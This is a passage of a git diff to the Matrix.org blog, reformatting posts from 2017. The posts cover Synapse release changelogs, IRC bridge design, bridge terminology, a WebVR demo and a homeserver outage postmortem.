    The good news of course is that you can run your own synapse today to avoid getting caught up in this operational fun & games, and unless you're planning to put tens of thousands of daily active users on the server you should be okay! diff --git a/content/blog/2017/02/2017-02-21-synapse-0-19-2-is-out.md b/content/blog/2017/02/2017-02-21-synapse-0-19-2-is-out.md index 3dea6b7f1..b29d22da0 100644 --- a/content/blog/2017/02/2017-02-21-synapse-0-19-2-is-out.md +++ b/content/blog/2017/02/2017-02-21-synapse-0-19-2-is-out.md @@ -12,5 +12,5 @@ We just pushed Synapse ### Changes in synapse v0.19.2 (2017-02-20) diff --git a/content/blog/2017/03/2017-03-11-how-do-i-bridge-thee-let-me-count-the-ways.md b/content/blog/2017/03/2017-03-11-how-do-i-bridge-thee-let-me-count-the-ways.md index 86e1e7dca..bf2ac0678 100644 --- a/content/blog/2017/03/2017-03-11-how-do-i-bridge-thee-let-me-count-the-ways.md +++ b/content/blog/2017/03/2017-03-11-how-do-i-bridge-thee-let-me-count-the-ways.md @@ -7,6 +7,7 @@ author = ["Matthew Hodgson"] category = ["Tech"] +++ +

    Bridges come in many flavours, and we need consistent terminology within the Matrix community to ensure everyone (users, developers, core team) is on the same page. This post is primarily intended for bridge developers to refer to when building bridges.

    The most recent version of this document is here (source) but we're also posting it as a blog post for visibility. @@ -21,9 +22,9 @@ Bridges can register themselves as controlling chunks of room aliases namespace, Alternatively, an existing Matrix room can be can plumbed into one or more specific remote rooms by configuring a bridge (which can be run by anyone). For instance, #matrix:matrix.org is plumbed into #matrix on Freenode, matrixdotorg/#matrix on Slack, etc. Access control for Matrix users is necessarily managed by the Matrix side of the room. This is useful for using Matrix to link together different communities. -Migrating rooms between a portal & plumbed room is currently a bit of a mess, as there's not yet a way for users to remove portal rooms once they're created, so you can end up with a mix of portal & plumbed users bridged into a room, which looks weird from both the Matrix and non-Matrix viewpoints. https://github.com/matrix-org/matrix-appservice-irc/issues/387 tracks this. +Migrating rooms between a portal & plumbed room is currently a bit of a mess, as there's not yet a way for users to remove portal rooms once they're created, so you can end up with a mix of portal & plumbed users bridged into a room, which looks weird from both the Matrix and non-Matrix viewpoints. tracks this. -### Types of bridges (simplest first): +### Types of bridges (simplest first) #### Bridgebot-based bridges diff --git a/content/blog/2017/03/2017-03-14-an-adventure-in-irc-land.md b/content/blog/2017/03/2017-03-14-an-adventure-in-irc-land.md index 2426707d1..f6d895d52 100644 --- a/content/blog/2017/03/2017-03-14-an-adventure-in-irc-land.md +++ b/content/blog/2017/03/2017-03-14-an-adventure-in-irc-land.md @@ -13,32 +13,32 @@ Firstly, what is "bridging"? The simple answer is that it is a program which map A lot of existing IRC bridges for different protocols share one thing in common: they use a single global bot to bridge traffic. This bot listens to all messages from IRC, and sends them to the other network. The bot also listens for messages from users on the other network, and sends messages on their behalf to IRC. This is a lot easier than having to maintain dedicated TCP connections for each user. However, it isn't a great experience for IRC users as they:
      -
    • Don't know who is reading messages on a channel as there is just 1 bot in the membership list.
    • -
    • Cannot PM users on the other network.
    • -
    • Cannot kick/ban users on the other network without affecting everyone else.
    • -
    • Cannot bing/mention users on the other network easily (tab completion).
    • +
    • Don't know who is reading messages on a channel as there is just 1 bot in the membership list.
    • +
    • Cannot PM users on the other network.
    • +
    • Cannot kick/ban users on the other network without affecting everyone else.
    • +
    • Cannot bing/mention users on the other network easily (tab completion).
    We made the decision very early on that we would keep dedicated TCP connections for each Matrix user. This means every Matrix user has their own tiny IRC client. This has its own problems:
      -
    • It involves multiple connections to the IRCd so you need special permission to set up an i:line.
    • -
    • You need to be able to support identification of individual users (via ident or unique IPv6 addresses).
    • -
    • With all these connections to the same IRC channels, you need to have some way to identify which incoming messages have already been handled and which have not.
    • +
    • It involves multiple connections to the IRCd so you need special permission to set up an i:line.
    • +
    • You need to be able to support identification of individual users (via ident or unique IPv6 addresses).
    • +
    • With all these connections to the same IRC channels, you need to have some way to identify which incoming messages have already been handled and which have not.
    ### Mapping Rooms So now that we have a way to send and receive messages, how do we map the rooms/channels between protocols? This isn't as easy as you may think. We can have a single static one-to-one mapping:
      -
    • All messages to #channel go to !abcdef:matrix.org.
    • -
    • All messages from !abcdef:matrix.org go to #channel.
    • -
    • All PMs between @alice:matrix.org and Bob go to !wxyz:matrix.org and the respective PM on IRC.
    • +
    • All messages to #channel go to !abcdef:matrix.org.
    • +
    • All messages from !abcdef:matrix.org go to #channel.
    • +
    • All PMs between @alice:matrix.org and Bob go to !wxyz:matrix.org and the respective PM on IRC.
    In order to make PMs secure, we need to limit who can access the room. This is done by making the Matrix PM room "invite-only". This can cause problems though if the Matrix user ever leaves that room: they won't be able to ever re-join! The IRC bridges get around this by allowing Matrix users to replace their dedicated PM room with a new room, and by checking to make sure that the Matrix user is inside the room before sending messages. Then you have problem of "ownership" of rooms. Who should be able to kick users in a bridged room? There are two main scenarios to consider:
      -
    • The IRC channel has existed for a while and there are existing IRC channel operators.
    • -
    • The IRC channel does not exist, but there are existing Matrix moderators.
    • +
    • The IRC channel has existed for a while and there are existing IRC channel operators.
    • +
    • The IRC channel does not exist, but there are existing Matrix moderators.
    In the first case, we want to defer ownership to the channel operators. This is what happens by default for all bridged IRC channels on matrix.org. The Matrix users have no power in the room, and are at the mercy of the IRC channel operators. The channel operators are represented by virtual Matrix users in the room. However, they do not have any power level: they are at the same level as real Matrix users. Why? The bridge does this because, unlike IRC, it's not possible in Matrix to bring a user to the same level as yourself (e.g +o), and then downgrade them back to a regular user (e.g. -o). Instead, the bridge bot itself acts as a custodian for the room, and performs privileged IRC operations (topic changing, kickbans, etc) on the IRC channel operator's behalf. @@ -52,8 +52,8 @@ Mapping Matrix messages to IRC is rather easy for the most part. Messages are pa Mapping IRC messages to Matrix is more difficult: not because it's hard to represent the message in Matrix, but because of the architecture of the bridge. The bridge maintains separate connections for each Matrix user. This means the bridge might have, for example, 5 users (and hence connections) on the same channel. When an IRC user sends a message, the bridge gets 5 copies of the message. How does the bridge know:
      -
    • If the message has already been sent?
    • -
    • If the message is an intentional duplicate?
    • +
    • If the message has already been sent?
    • +
    • If the message is an intentional duplicate?
    The IRC protocol does not have message IDs, so the bridge cannot de-duplicate messages as they arrive. Instead, it "nominates" a single user's connection to be responsible for delivering messages from that channel. This introduces another problem though. Long-lived TCP connections are fickle things, and can fail without any kind of visible warning until you try to send bytes down it. If a user's connection drops, another user needs to take over responsibility for delivering messages. This is what the "IRC Event Broker" class does. It allows users to "steal" messages if the bridge has any indication that the connection in charge has dropped. This technique has worked well for us, and gives us the ability to have more robust connections to the channel than with one TCP connection alone. @@ -61,19 +61,19 @@ The IRC protocol does not have message IDs, so the bridge cannot de-duplicate me Admin rooms are private Matrix rooms between a real Matrix user and the bridge bot. It allows the Matrix user to control their connection to IRC. It allows:
      -
    • The IRC nick to be changed.
    • -
    • The ability to issue /whois commands.
    • -
    • The ability to bypass the bridge and send raw IRC commands directly down the TCP connection (e.g. MODE commands).
    • -
    • The ability to save a NickServ password for use when the bridge reconnects you.
    • -
    • The ability to disconnect from the network entirely.
    • +
    • The IRC nick to be changed.
    • +
    • The ability to issue /whois commands.
    • +
    • The ability to bypass the bridge and send raw IRC commands directly down the TCP connection (e.g. MODE commands).
    • +
    • The ability to save a NickServ password for use when the bridge reconnects you.
    • +
    • The ability to disconnect from the network entirely.
    To perform these actions, Matrix users send a text message which starts with a command name, e.g !whois $ARG. Like all commands, you expect to get a reply once you've issued it. However, IRC makes this extremely difficult to do. There is no request/response pair like there is with HTTP requests. Instead, the IRC server may:
      -
    • Ignore the request entirely.
    • -
    • Send an error you're aware of (in the RFC/most servers)
    • -
    • Send some information which can be assumed to indicate success.
    • -
    • Send an error you're unaware of.
    • -
    • Send some information which sometimes indicates success.
    • +
    • Ignore the request entirely.
    • +
    • Send an error you're aware of (in the RFC/most servers)
    • +
    • Send some information which can be assumed to indicate success.
    • +
    • Send an error you're unaware of.
    • +
    • Send some information which sometimes indicates success.
    This makes it very difficult to know if a request succeeded or failed, and I'll go into more detail in the next post which focuses on problems we've encountered when developing the IRC bridge. This room is also used to inform the Matrix user about general information about their IRC connection, such as when their connection has been lost, or if there are any errors (e.g. "requires chanops to do this action"). The bridge makes no effort to parse these errors, because it doesn't always know what caused the error to happen. diff --git a/content/blog/2017/03/2017-03-21-synapse-0-19-3-released.md b/content/blog/2017/03/2017-03-21-synapse-0-19-3-released.md index f915f8ae3..d701901c0 100644 --- a/content/blog/2017/03/2017-03-21-synapse-0-19-3-released.md +++ b/content/blog/2017/03/2017-03-21-synapse-0-19-3-released.md @@ -11,7 +11,7 @@ Hi all, We've released Synapse 0.19.3-rc2 as 0.19.3 with no changes. This is a slightly unusual release, as 0.19.3-rc2 dates from March 13th and a lot of stuff has landed on the develop branch since then - however, we'll be releasing that as 0.20.0 once it's ready. Instead, 0.19.3 has a set of intermediary performance and bug fixes; the only new feature is a set of admin APIs kindly contributed by @morteza-araby. -The changelog follows - please upgrade from https://github.com/matrix-org/synapse or your OS packages as normal :) +The changelog follows - please upgrade from or your OS packages as normal :) ### Changes in synapse v0.19.3 (2017-03-20) @@ -21,31 +21,31 @@ No changes since v0.19.3-rc2 Bug fixes:
      -
    • Fix bug in handling of incoming device list updates over federation.
    • +
    • Fix bug in handling of incoming device list updates over federation.
    ### Changes in synapse v0.19.3-rc1 (2017-03-08) Features: Changes: Bug fixes:
      -
    • Fix synapse_port_db failure. Thanks to @Pneumaticat! (PR #1904)
    • -
    • Fix caching to not cache error responses (PR #1913)
    • -
    • Fix APIs to make kick & ban reasons work (PR #1917)
    • -
    • Fix bugs in the /keys/changes api (PR #1921)
    • -
    • Fix bug where users couldn't forget rooms they were banned from (PR #1922)
    • -
    • Fix issue with long language values in pushers API (PR #1925)
    • -
    • Fix a race in transaction queue (PR #1930)
    • -
    • Fix dynamic thumbnailing to preserve aspect ratio. Thanks to @jkolo! (PR #1945)
    • -
    • Fix device list update to not constantly resync (PR #1964)
    • -
    • Fix potential for huge memory usage when getting device that have changed (PR #1969)
    • +
    • Fix synapse_port_db failure. Thanks to @Pneumaticat! (PR #1904)
    • +
    • Fix caching to not cache error responses (PR #1913)
    • +
    • Fix APIs to make kick & ban reasons work (PR #1917)
    • +
    • Fix bugs in the /keys/changes api (PR #1921)
    • +
    • Fix bug where users couldn't forget rooms they were banned from (PR #1922)
    • +
    • Fix issue with long language values in pushers API (PR #1925)
    • +
    • Fix a race in transaction queue (PR #1930)
    • +
    • Fix dynamic thumbnailing to preserve aspect ratio. Thanks to @jkolo! (PR #1945)
    • +
    • Fix device list update to not constantly resync (PR #1964)
    • +
    • Fix potential for huge memory usage when getting device that have changed (PR #1969)
    diff --git a/content/blog/2017/04/2017-04-04-opening-up-cyberspace-with-matrix-and-webvr.md b/content/blog/2017/04/2017-04-04-opening-up-cyberspace-with-matrix-and-webvr.md index d37970c3d..9bd0089f6 100644 --- a/content/blog/2017/04/2017-04-04-opening-up-cyberspace-with-matrix-and-webvr.md +++ b/content/blog/2017/04/2017-04-04-opening-up-cyberspace-with-matrix-and-webvr.md @@ -21,9 +21,9 @@ But despite all this activity, where is the open cyberspace? Where is the univer Aside from cultural ones, we believe there are three missing ingredients which have been technically holding back the development of an open cyberspace so far:
      -
    1. The hardware
    2. -
    3. Client software support (i.e. apps)
    4. -
    5. A universal real-time data layer to store the space
    6. +
    7. The hardware
    8. +
    9. Client software support (i.e. apps)
    10. +
    11. A universal real-time data layer to store the space
    Nowadays the hardware problem is effectively solved: the HTC Vive, Oculus Rift and even Google Cardboard have brought VR displays to the general public.  Meanwhile, accelerometers and head-tracking turn normal screens into displays for immersive content without even needing goggles, giving everyone a window into a virtual world. @@ -41,9 +41,9 @@ In fact, the best way is to test it live: we've put together a quick demo at In the demo you get:
      -
    1. a virtual lobby, providing a 1:1 WebRTC video call via Matrix through to a ‘guide' user of your choice anywhere else in Matrix (VR or not).  From the lobby you can jump into two other apps:
    2. -
    3. a video conference, calling between all the participants of a given Matrix room in VR (no interop yet with other Matrix apps)
    4. -
    5. a 'virtual tourism' example, featuring a 1:1 WebRTC video call with a guide, superimposed over the top of the user going skiing through 360 degree video footage.
    6. +
    7. a virtual lobby, providing a 1:1 WebRTC video call via Matrix through to a ‘guide' user of your choice anywhere else in Matrix (VR or not).  From the lobby you can jump into two other apps:
    8. +
    9. a video conference, calling between all the participants of a given Matrix room in VR (no interop yet with other Matrix apps)
    10. +
    11. a 'virtual tourism' example, featuring a 1:1 WebRTC video call with a guide, superimposed over the top of the user going skiing through 360 degree video footage.
    Video calling requires a WebRTC-capable browser (Chrome or Firefox). Unfortunately no iOS browsers support it yet. If you have dedicated VR hardware (Vive or Rift), you'll have to configure your browser appropriately to use the demo - see https://webvr.rocks for the latest details. diff --git a/content/blog/2017/04/2017-04-11-synapse-0-20-0-is-released.md b/content/blog/2017/04/2017-04-11-synapse-0-20-0-is-released.md index 6b687d55c..1f7ebec2f 100644 --- a/content/blog/2017/04/2017-04-11-synapse-0-20-0-is-released.md +++ b/content/blog/2017/04/2017-04-11-synapse-0-20-0-is-released.md @@ -11,11 +11,11 @@ Hi folks, Synapse 0.20.0 was released a few hours ago - this is a major new release with loads of stability and performance fixes and some new features too. The main headlines are:
      -
    • Support for using phone numbers as 3rd party identifiers as well as email addresses!  This is huge: letting you discover other users on Matrix based on whether they've linked their phone number to their matrix account, and letting you log in using your phone number as your identifier if you so desire.  Users of systems like WhatsApp should find this both familiar and useful ;)
    • -
    • Fixes some very nasty failure modes where the state of a room could be reset if a homeserver received an event it couldn't verify.  Folks who have suffered rooms suddenly losing their name/icon/topic should particularly upgrade - this won't fix the rooms retrospectively (your server will need to rejoin the room), but it should fix the problem going forwards.
    • -
    • Improves the retry schedule over federation significantly - previously there were scenarios where synapse could try to retry aggressively on servers which were offline.  This fixes that.
    • -
    • Significant performance improvements to /publicRooms, /sync, and other endpoints.
    • -
    • Lots of juicy bug fixes.
    • +
    • Support for using phone numbers as 3rd party identifiers as well as email addresses!  This is huge: letting you discover other users on Matrix based on whether they've linked their phone number to their matrix account, and letting you log in using your phone number as your identifier if you so desire.  Users of systems like WhatsApp should find this both familiar and useful ;)
    • +
    • Fixes some very nasty failure modes where the state of a room could be reset if a homeserver received an event it couldn't verify.  Folks who have suffered rooms suddenly losing their name/icon/topic should particularly upgrade - this won't fix the rooms retrospectively (your server will need to rejoin the room), but it should fix the problem going forwards.
    • +
    • Improves the retry schedule over federation significantly - previously there were scenarios where synapse could try to retry aggressively on servers which were offline.  This fixes that.
    • +
    • Significant performance improvements to /publicRooms, /sync, and other endpoints.
    • +
    • Lots of juicy bug fixes.
    We highly recommend upgrading (or installing!) asap - https://github.com/matrix-org/synapse has the details as usual.  Full changelog follows: @@ -23,7 +23,7 @@ We highly recommend upgrading (or installing!) asap - #2094) @@ -31,38 +31,38 @@ new server had joined (PR #1993) -
  • Add phone number registration/login support (PR #1994, #2055)
  • +
  • Add delete_devices API (PR #1993)
  • +
  • Add phone number registration/login support (PR #1994, #2055)
  • Changes:
      -
    • Use JSONSchema for validation of filters. Thanks @pik! (PR #1783)
    • -
    • Reread log config on SIGHUP (PR #1982)
    • -
    • Speed up public room list (PR #1989)
    • -
    • Add helpful texts to logger config options (PR #1990)
    • -
    • Minor /sync performance improvements. (PR #2002, #2013, #2022)
    • -
    • Add some debug to help diagnose weird federation issue (PR #2035)
    • -
    • Correctly limit retries for all federation requests (PR #2050, #2061)
    • -
    • Don't lock table when persisting new one time keys (PR #2053)
    • -
    • Reduce some CPU work on DB threads (PR #2054)
    • -
    • Cache hosts in room (PR #2060)
    • -
    • Batch sending of device list pokes (PR #2063)
    • -
    • Speed up persist event path in certain edge cases (PR #2070)
    • +
    • Use JSONSchema for validation of filters. Thanks @pik! (PR #1783)
    • +
    • Reread log config on SIGHUP (PR #1982)
    • +
    • Speed up public room list (PR #1989)
    • +
    • Add helpful texts to logger config options (PR #1990)
    • +
    • Minor /sync performance improvements. (PR #2002, #2013, #2022)
    • +
    • Add some debug to help diagnose weird federation issue (PR #2035)
    • +
    • Correctly limit retries for all federation requests (PR #2050, #2061)
    • +
    • Don't lock table when persisting new one time keys (PR #2053)
    • +
    • Reduce some CPU work on DB threads (PR #2054)
    • +
    • Cache hosts in room (PR #2060)
    • +
    • Batch sending of device list pokes (PR #2063)
    • +
    • Speed up persist event path in certain edge cases (PR #2070)
    Bug fixes:
      -
    • Fix bug where current_state_events renamed to current_state_ids (PR #1849)
    • -
    • Fix routing loop when fetching remote media (PR #1992)
    • -
    • Fix current_state_events table to not lie (PR #1996)
    • -
    • Fix CAS login to handle PartialDownloadError (PR #1997)
    • -
    • Fix assertion to stop transaction queue getting wedged (PR #2010)
    • -
    • Fix presence to fallback to last_active_ts if it beats the last sync time. +
    • Fix bug where current_state_events renamed to current_state_ids (PR #1849)
    • +
    • Fix routing loop when fetching remote media (PR #1992)
    • +
    • Fix current_state_events table to not lie (PR #1996)
    • +
    • Fix CAS login to handle PartialDownloadError (PR #1997)
    • +
    • Fix assertion to stop transaction queue getting wedged (PR #2010)
    • +
    • Fix presence to fallback to last_active_ts if it beats the last sync time. Thanks @Half-Shot! (PR #2014)
    • -
    • Fix bug when federation received a PDU while a room join is in progress (PR +
    • Fix bug when federation received a PDU while a room join is in progress (PR #2016)
    • -
    • Fix resetting state on rejected events (PR #2025)
    • -
    • Fix installation issues in readme. Thanks @ricco386 (PR #2037)
    • -
    • Fix caching of remote servers' signature keys (PR #2042)
    • -
    • Fix some leaking log context (PR #2048, #2049, #2057, #2058)
    • -
    • Fix rejection of invites not reaching sync (PR #2056)
    • +
    • Fix resetting state on rejected events (PR #2025)
    • +
    • Fix installation issues in readme. Thanks @ricco386 (PR #2037)
    • +
    • Fix caching of remote servers' signature keys (PR #2042)
    • +
    • Fix some leaking log context (PR #2048, #2049, #2057, #2058)
    • +
    • Fix rejection of invites not reaching sync (PR #2056)
    diff --git a/content/blog/2017/05/2017-05-12-update-on-matrix-org-homeserver-reliability.md b/content/blog/2017/05/2017-05-12-update-on-matrix-org-homeserver-reliability.md index 38ab669b2..38f110c90 100644 --- a/content/blog/2017/05/2017-05-12-update-on-matrix-org-homeserver-reliability.md +++ b/content/blog/2017/05/2017-05-12-update-on-matrix-org-homeserver-reliability.md @@ -11,28 +11,28 @@ Hi folks, We've had a few outages over the last week on the Matrix.org homeserver which have caused problems for folks using bridges or accounts hosted on matrix.org itself - we'd like to apologise to everyone who's been caught in the crossfire.  In the interests of giving everyone visibility on what's going on and what we're doing about it (and so folks can learn from our mistakes! :), here's a quick writeup (all times are UTC):
      -
    • 2017-05-04 21:05: The datacenter where we host matrix.org performs an emergency unscheduled upgrade of the VM host where the main matrix.org HS & DB master lives.  This means a live-migration of the VM onto another host, which freezes the (huge) VM for 9 minutes, during which service is (obviously) down.  Monitoring fires; we start investigating and try to get in on the console, but by the point we're considering failing over to the hot-spare, the box has come back and recovers fine other than a load spike as all the traffic catches up.  The clock however is off by 9 minutes due to its world having paused.
    • -
    • 2017-05-04 22:30: We step NTP on the host to fix the clock (maximum clock skew on ISC ntpd is 500ppm, meaning it would take weeks to reconverge naturally, during which time we're issuing messages with incorrect timestamps).
    • -
    • 2017-05-05 01:25: Network connectivity breaks between the matrix.org homeserver and the DC where all of our bridges/bots are hosted.
    • -
    • 2017-05-05 01:40: Monitoring alerts fire for bridge traffic activity and are picked up.  After trying to restart the VPN between the DC a few times, it turns out that the IP routes needed for the VPN have mysteriously disappeared.
    • -
    • 2017-05-05 02:23: Routes are manually readded and VPN recovers and traffic starts flowing again.  It turns out that the routes are meant to be maintained by a post-up script in /etc/network/interfaces, which assumes that /sbin/ip is on the path.  Historically this hasn't been a problem as the DHCP lease on the host has never expired (only been renewed every 6 hours) - but the time disruption caused by the live-migration earlier means that on this renewal cycle the lease actually expires and the routes are lost and not-readded.  Basic bridging traffic checks are done (e.g. Freenode->Matrix).
    • -
    • 2017-05-05 08:30: Turns out that whilst Freenode->Matrix traffic was working, Matrix->Freenode was wedged due to a missing HTTP timeout in the AS logic on Synapse.  Synapse is restarted and the bug fixed.
    • -
    • ...the week goes by...
    • -
    • 2017-05-11 18:00: (Unconnected to the rest of this outage, an IRC DDoS on GIMPnet cause intermittent load problems and delayed messages on matrix.org; we turn off the bridge for a few hours until it subsides).
    • -
    • 2017-05-12 02:50: The postgres partition on the matrix.org DB master diskfills and postgres halts.  Monitoring alerts fire (once, phone alerts), but the three folks on call manage to sleep through their phone ringing.
    • -
    • 2017-05-12 04:45: Folks get woken up and notice the outage; clear up diskspace; restart postgres. Meanwhile, synapse appears to recover, other than mysteriously refusing to send messages from local users.  Investigation commences in the guts of the database to try to see what corruption has happened.
    • -
    • 2017-05-12 06:00: We realise that nobody has actually restarted synapse since the DB outage begun, and the failure is probably a known issue where worker replication can get fail and cause the master synapse process to fail to process writes.  Synapse is restarted; everything recovers (including bridges).
    • -
    • 2017-05-12 06:20: Investigation into the cause of the diskfill reveals it to be due to postgres replication logs (WALs) stacking up on the DB master, due to replication having broken to a DB slave during the previous networking outage.  Monitoring alerts triggered but weren't escalated due to a problem in PagerDuty.
    • +
    • 2017-05-04 21:05: The datacenter where we host matrix.org performs an emergency unscheduled upgrade of the VM host where the main matrix.org HS & DB master lives.  This means a live-migration of the VM onto another host, which freezes the (huge) VM for 9 minutes, during which service is (obviously) down.  Monitoring fires; we start investigating and try to get in on the console, but by the point we're considering failing over to the hot-spare, the box has come back and recovers fine other than a load spike as all the traffic catches up.  The clock however is off by 9 minutes due to its world having paused.
    • +
    • 2017-05-04 22:30: We step NTP on the host to fix the clock (maximum clock skew on ISC ntpd is 500ppm, meaning it would take weeks to reconverge naturally, during which time we're issuing messages with incorrect timestamps).
    • +
    • 2017-05-05 01:25: Network connectivity breaks between the matrix.org homeserver and the DC where all of our bridges/bots are hosted.
    • +
    • 2017-05-05 01:40: Monitoring alerts fire for bridge traffic activity and are picked up.  After trying to restart the VPN between the DC a few times, it turns out that the IP routes needed for the VPN have mysteriously disappeared.
    • +
    • 2017-05-05 02:23: Routes are manually readded and VPN recovers and traffic starts flowing again.  It turns out that the routes are meant to be maintained by a post-up script in /etc/network/interfaces, which assumes that /sbin/ip is on the path.  Historically this hasn't been a problem as the DHCP lease on the host has never expired (only been renewed every 6 hours) - but the time disruption caused by the live-migration earlier means that on this renewal cycle the lease actually expires and the routes are lost and not-readded.  Basic bridging traffic checks are done (e.g. Freenode->Matrix).
    • +
    • 2017-05-05 08:30: Turns out that whilst Freenode->Matrix traffic was working, Matrix->Freenode was wedged due to a missing HTTP timeout in the AS logic on Synapse.  Synapse is restarted and the bug fixed.
    • +
    • ...the week goes by...
    • +
    • 2017-05-11 18:00: (Unconnected to the rest of this outage, an IRC DDoS on GIMPnet cause intermittent load problems and delayed messages on matrix.org; we turn off the bridge for a few hours until it subsides).
    • +
    • 2017-05-12 02:50: The postgres partition on the matrix.org DB master diskfills and postgres halts.  Monitoring alerts fire (once, phone alerts), but the three folks on call manage to sleep through their phone ringing.
    • +
    • 2017-05-12 04:45: Folks get woken up and notice the outage; clear up diskspace; restart postgres. Meanwhile, synapse appears to recover, other than mysteriously refusing to send messages from local users.  Investigation commences in the guts of the database to try to see what corruption has happened.
    • +
    • 2017-05-12 06:00: We realise that nobody has actually restarted synapse since the DB outage begun, and the failure is probably a known issue where worker replication can get fail and cause the master synapse process to fail to process writes.  Synapse is restarted; everything recovers (including bridges).
    • +
    • 2017-05-12 06:20: Investigation into the cause of the diskfill reveals it to be due to postgres replication logs (WALs) stacking up on the DB master, due to replication having broken to a DB slave during the previous networking outage.  Monitoring alerts triggered but weren't escalated due to a problem in PagerDuty.
    Lessons learned:
      -
    • Test your networking scripts and always check your box self-recovers after a restart (let alone a DHCP renewal).
    • -
    • Don't use DHCP in production datacenters unless you really have no choice; it just adds potential ways for everything to break.
    • -
    • We need better end-to-end monitoring for bridged traffic.
    • -
    • We need to ensure HS<->Bridge traffic is more reliable (improved by fixing timeout logic in synapse).
    • -
    • We need better monitoring and alerting of DB replication traffic.
    • -
    • We need to escalate PagerDuty phone alerts more aggressively (done).
    • -
    • We need better alerting for disk fill thresholds (especially "time until fill", remembering to take into account the emergency headroom reserved by the filesystem for the superuser).
    • -
    • We should probably have scripts to rapidly (or even automatedly) switch between synapse master & hot-spare, and to promote DB slaves in the event of a master failure.
    • +
    • Test your networking scripts and always check your box self-recovers after a restart (let alone a DHCP renewal).
    • +
    • Don't use DHCP in production datacenters unless you really have no choice; it just adds potential ways for everything to break.
    • +
    • We need better end-to-end monitoring for bridged traffic.
    • +
    • We need to ensure HS<->Bridge traffic is more reliable (improved by fixing timeout logic in synapse).
    • +
    • We need better monitoring and alerting of DB replication traffic.
    • +
    • We need to escalate PagerDuty phone alerts more aggressively (done).
    • +
    • We need better alerting for disk fill thresholds (especially "time until fill", remembering to take into account the emergency headroom reserved by the filesystem for the superuser).
    • +
    • We should probably have scripts to rapidly (or even automatedly) switch between synapse master & hot-spare, and to promote DB slaves in the event of a master failure.
    Hopefully this is the last we've seen of this root cause; we'll be working through the todo list above.  Many apologies again for the instability - however please do remember that you can (and should!) run your own homeserver & bridges to stay immune to whatever operational dramas we have with the matrix.org instance! diff --git a/content/blog/2017/05/2017-05-18-synapse-0-21-0-is-released.md b/content/blog/2017/05/2017-05-18-synapse-0-21-0-is-released.md index 8e426dc93..b3ddd9d50 100644 --- a/content/blog/2017/05/2017-05-18-synapse-0-21-0-is-released.md +++ b/content/blog/2017/05/2017-05-18-synapse-0-21-0-is-released.md @@ -17,20 +17,20 @@ For those of you upgrading http Features:
      -
    • Add per user rate-limiting overrides (PR #2208)
    • -
    • Add config option to limit maximum number of events requested by /sync and /messages (PR #2221) Thanks to @psaavedra!
    • +
    • Add per user rate-limiting overrides (PR #2208)
    • +
    • Add config option to limit maximum number of events requested by /sync and /messages (PR #2221) Thanks to @psaavedra!
    Changes:
      -
    • Various small performance fixes (PR #2201, #2202, #2224, #2226, #2227, #2228, #2229)
    • -
    • Update username availability checker API (PR #2209, #2213)
    • -
    • When purging, don't de-delta state groups we're about to delete (PR #2214)
    • -
    • Documentation to check synapse version (PR #2215) Thanks to @hamber-dick!
    • -
    • Add an index to event_search to speed up purge history API (PR #2218)
    • +
    • Various small performance fixes (PR #2201, #2202, #2224, #2226, #2227, #2228, #2229)
    • +
    • Update username availability checker API (PR #2209, #2213)
    • +
    • When purging, don't de-delta state groups we're about to delete (PR #2214)
    • +
    • Documentation to check synapse version (PR #2215) Thanks to @hamber-dick!
    • +
    • Add an index to event_search to speed up purge history API (PR #2218)
    Bug fixes:
      -
    • Fix API to allow clients to upload one-time-keys with new sigs (PR #2206)
    • +
    • Fix API to allow clients to upload one-time-keys with new sigs (PR #2206)
    @@ -38,11 +38,11 @@ Bug fixes: Changes:
      -
    • Always mark remotes as up if we receive a signed request from them (PR #2190)
    • +
    • Always mark remotes as up if we receive a signed request from them (PR #2190)
    Bug fixes:
      -
    • Fix bug where users got pushed for rooms they had muted (PR #2200)
    • +
    • Fix bug where users got pushed for rooms they had muted (PR #2200)
    @@ -50,38 +50,38 @@ Bug fixes: Features:
      -
    • Add username availability checker API (PR #2183)
    • -
    • Add read marker API (PR #2120)
    • +
    • Add username availability checker API (PR #2183)
    • +
    • Add read marker API (PR #2120)
    Changes: Bug fixes:
      -
    • Fix nuke-room script to work with current schema (PR #1927) Thanks @zuckschwerdt!
    • -
    • Fix db port script to not assume postgres tables are in the public schema (PR #2024) Thanks @jerrykan!
    • -
    • Fix getting latest device IP for user with no devices (PR #2118)
    • -
    • Fix rejection of invites to unreachable servers (PR #2145)
    • -
    • Fix code for reporting old verify keys in synapse (PR #2156)
    • -
    • Fix invite state to always include all events (PR #2163)
    • -
    • Fix bug where synapse would always fetch state for any missing event (PR #2170)
    • -
    • Fix a leak with timed out HTTP connections (PR #2180)
    • -
    • Fix bug where we didn't time out HTTP requests to ASes (PR #2192)
    • +
    • Fix nuke-room script to work with current schema (PR #1927) Thanks @zuckschwerdt!
    • +
    • Fix db port script to not assume postgres tables are in the public schema (PR #2024) Thanks @jerrykan!
    • +
    • Fix getting latest device IP for user with no devices (PR #2118)
    • +
    • Fix rejection of invites to unreachable servers (PR #2145)
    • +
    • Fix code for reporting old verify keys in synapse (PR #2156)
    • +
    • Fix invite state to always include all events (PR #2163)
    • +
    • Fix bug where synapse would always fetch state for any missing event (PR #2170)
    • +
    • Fix a leak with timed out HTTP connections (PR #2180)
    • +
    • Fix bug where we didn't time out HTTP requests to ASes (PR #2192)
    Docs:
      -
    • Clarify doc for SQLite to PostgreSQL port (PR #1961) Thanks @benhylau!
    • -
    • Fix typo in synctl help (PR #2107) Thanks @HarHarLinks!
    • -
    • web_client_location documentation fix (PR #2131) Thanks @matthewjwolff!
    • -
    • Update README.rst with FreeBSD changes (PR #2132) Thanks @feld!
    • -
    • Clarify setting up metrics (PR #2149) Thanks @encks!
    • +
    • Clarify doc for SQLite to PostgreSQL port (PR #1961) Thanks @benhylau!
    • +
    • Fix typo in synctl help (PR #2107) Thanks @HarHarLinks!
    • +
    • web_client_location documentation fix (PR #2131) Thanks @matthewjwolff!
    • +
    • Update README.rst with FreeBSD changes (PR #2132) Thanks @feld!
    • +
    • Clarify setting up metrics (PR #2149) Thanks @encks!
    diff --git a/content/blog/2017/07/2017-07-06-synapse-0-22-0-released.md b/content/blog/2017/07/2017-07-06-synapse-0-22-0-released.md index bccdccb86..883acaea5 100644 --- a/content/blog/2017/07/2017-07-06-synapse-0-22-0-released.md +++ b/content/blog/2017/07/2017-07-06-synapse-0-22-0-released.md @@ -11,13 +11,13 @@ Hi Synapsefans, Synapse 0.22.0 has just been released! This release lands a few interesting features:
      -
    • The new User directory API which supports Matrix clients' providing a much more intuitive and effective user search capability by exposing a list of: +
